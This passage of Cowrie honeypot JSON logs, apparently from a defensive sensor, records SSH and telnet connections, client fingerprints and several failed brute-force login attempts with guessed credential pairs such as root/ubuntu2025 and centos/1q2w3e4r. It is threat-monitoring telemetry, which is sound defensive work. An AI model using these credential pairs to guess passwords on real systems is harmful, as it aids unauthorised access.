,"aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:59.805259Z","src_ip":"216.155.93.75","session":"e90f7601d6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu2025","message":"login attempt [root/ubuntu2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:00.425467Z","src_ip":"216.155.93.75","session":"e90f7601d6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:01.577774Z","src_ip":"216.155.93.75","session":"e90f7601d6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.458139181137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:03.852055Z","src_ip":"67.23.227.170","session":"c2efa17b77f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56914,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a496b14a0aa","protocol":"telnet","message":"New connection: 68.183.198.12:56914 (159.203.135.109:23) [session: 4a496b14a0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:05.854176Z"}
{"eventid":"cowrie.session.closed","duration":31.824140548706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:07.186730Z","src_ip":"67.23.227.170","session":"79d5e449d8e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":50282,"dst_ip":"159.203.135.109","dst_port":23,"session":"088aa49874c8","protocol":"telnet","message":"New connection: 67.23.227.170:50282 (159.203.135.109:23) [session: 088aa49874c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:11.801666Z"}
{"eventid":"cowrie.session.closed","duration":117.83595275878906,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:13.136564Z","src_ip":"64.227.101.30","session":"03edfc649a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":46486,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb1cb6f11fd","protocol":"ssh","message":"New connection: 43.243.142.42:46486 (159.203.135.109:22) [session: 8bb1cb6f11fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:14.026493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:14.031657Z","src_ip":"43.243.142.42","session":"8bb1cb6f11fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:14.264598Z","src_ip":"43.243.142.42","session":"8bb1cb6f11fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweASD","message":"login attempt [test/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:15.231704Z","src_ip":"43.243.142.42","session":"8bb1cb6f11fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:16.468139Z","src_ip":"43.243.142.42","session":"8bb1cb6f11fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.7166588306427,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:16.937454Z","src_ip":"64.227.101.30","session":"8a9327b7892e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":5671,"dst_ip":"10.17.0.5","dst_port":22,"session":"340c1a59867d","protocol":"ssh","message":"New connection: 49.247.36.49:5671 (10.17.0.5:22) [session: 340c1a59867d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:19.558348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:19.563609Z","src_ip":"49.247.36.49","session":"340c1a59867d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:19.770711Z","src_ip":"49.247.36.49","session":"340c1a59867d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":50722,"dst_ip":"159.203.135.109","dst_port":23,"session":"99472afa99b2","protocol":"telnet","message":"New connection: 67.23.227.170:50722 (159.203.135.109:23) [session: 99472afa99b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:19.777006Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123_abc","message":"login attempt [root/123_abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:20.616411Z","src_ip":"49.247.36.49","session":"340c1a59867d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:21.823097Z","src_ip":"49.247.36.49","session":"340c1a59867d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.871013641357422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:43.672575Z","src_ip":"67.23.227.170","session":"088aa49874c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.97656869888306,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:49.830601Z","src_ip":"68.183.198.12","session":"4a496b14a0aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.275357723236084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:52.052299Z","src_ip":"67.23.227.170","session":"99472afa99b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45748,"dst_ip":"10.17.0.5","dst_port":23,"session":"7464bf875646","protocol":"telnet","message":"New connection: 64.227.101.30:45748 (10.17.0.5:23) [session: 7464bf875646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:56.772907Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4fb68da87f3","protocol":"telnet","message":"New connection: 68.183.198.12:35878 (159.203.135.109:23) [session: a4fb68da87f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:04:58.500388Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":42017,"dst_ip":"10.17.0.5","dst_port":22,"session":"51bbb610be3f","protocol":"ssh","message":"New connection: 216.155.93.75:42017 (10.17.0.5:22) [session: 51bbb610be3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:03.028349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:03.035667Z","src_ip":"216.155.93.75","session":"51bbb610be3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:03.192644Z","src_ip":"216.155.93.75","session":"51bbb610be3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e96bf91f31d4","protocol":"telnet","message":"New connection: 64.227.101.30:46256 (10.17.0.5:23) [session: e96bf91f31d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:03.820050Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:03.829675Z","src_ip":"216.155.93.75","session":"51bbb610be3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:04.984570Z","src_ip":"216.155.93.75","session":"51bbb610be3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.6796019077301025,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:05.499464Z","src_ip":"64.227.101.30","session":"e96bf91f31d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":55668,"dst_ip":"159.203.135.109","dst_port":23,"session":"506433a74ad3","protocol":"telnet","message":"New connection: 67.23.227.170:55668 (159.203.135.109:23) [session: 506433a74ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:06.219537Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":58572,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ddb41de1f5a","protocol":"ssh","message":"New connection: 43.243.142.42:58572 (159.203.135.109:22) [session: 9ddb41de1f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:11.862978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:11.868166Z","src_ip":"43.243.142.42","session":"9ddb41de1f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:12.100171Z","src_ip":"43.243.142.42","session":"9ddb41de1f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3305224b152","protocol":"telnet","message":"New connection: 64.227.101.30:52742 (10.17.0.5:23) [session: b3305224b152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:12.808950Z"}
{"eventid":"cowrie.login.failed","username":"user_1","password":"user_1","message":"login attempt [user_1/user_1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:13.060359Z","src_ip":"43.243.142.42","session":"9ddb41de1f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:14.300885Z","src_ip":"43.243.142.42","session":"9ddb41de1f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":56480,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bcd01dfe870","protocol":"telnet","message":"New connection: 67.23.227.170:56480 (159.203.135.109:23) [session: 0bcd01dfe870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:15.679630Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"311cde780814","protocol":"ssh","message":"New connection: 49.247.36.49:34190 (10.17.0.5:22) [session: 311cde780814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:27.625257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:27.630865Z","src_ip":"49.247.36.49","session":"311cde780814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:27.832106Z","src_ip":"49.247.36.49","session":"311cde780814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"1q2w3e4r","message":"login attempt [centos/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:28.663340Z","src_ip":"49.247.36.49","session":"311cde780814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:29.869184Z","src_ip":"49.247.36.49","session":"311cde780814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"baec1983c4e1","protocol":"telnet","message":"New connection: 64.227.101.30:60110 (10.17.0.5:23) [session: baec1983c4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:36.571215Z"}
{"eventid":"cowrie.session.closed","duration":40.66067719459534,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:37.433481Z","src_ip":"64.227.101.30","session":"7464bf875646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285168647766113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:37.504535Z","src_ip":"67.23.227.170","session":"506433a74ad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24073362350464,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:45.741024Z","src_ip":"68.183.198.12","session":"a4fb68da87f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.198694705963135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:45.878206Z","src_ip":"67.23.227.170","session":"0bcd01dfe870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.282283782958984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:48.091004Z","src_ip":"64.227.101.30","session":"b3305224b152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7784fdcd91","protocol":"telnet","message":"New connection: 64.227.101.30:37950 (10.17.0.5:23) [session: 1d7784fdcd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:05:57.073521Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":50487,"dst_ip":"10.17.0.5","dst_port":22,"session":"5586b0576679","protocol":"ssh","message":"New connection: 216.155.93.75:50487 (10.17.0.5:22) [session: 5586b0576679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:06.205761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:06.211147Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.co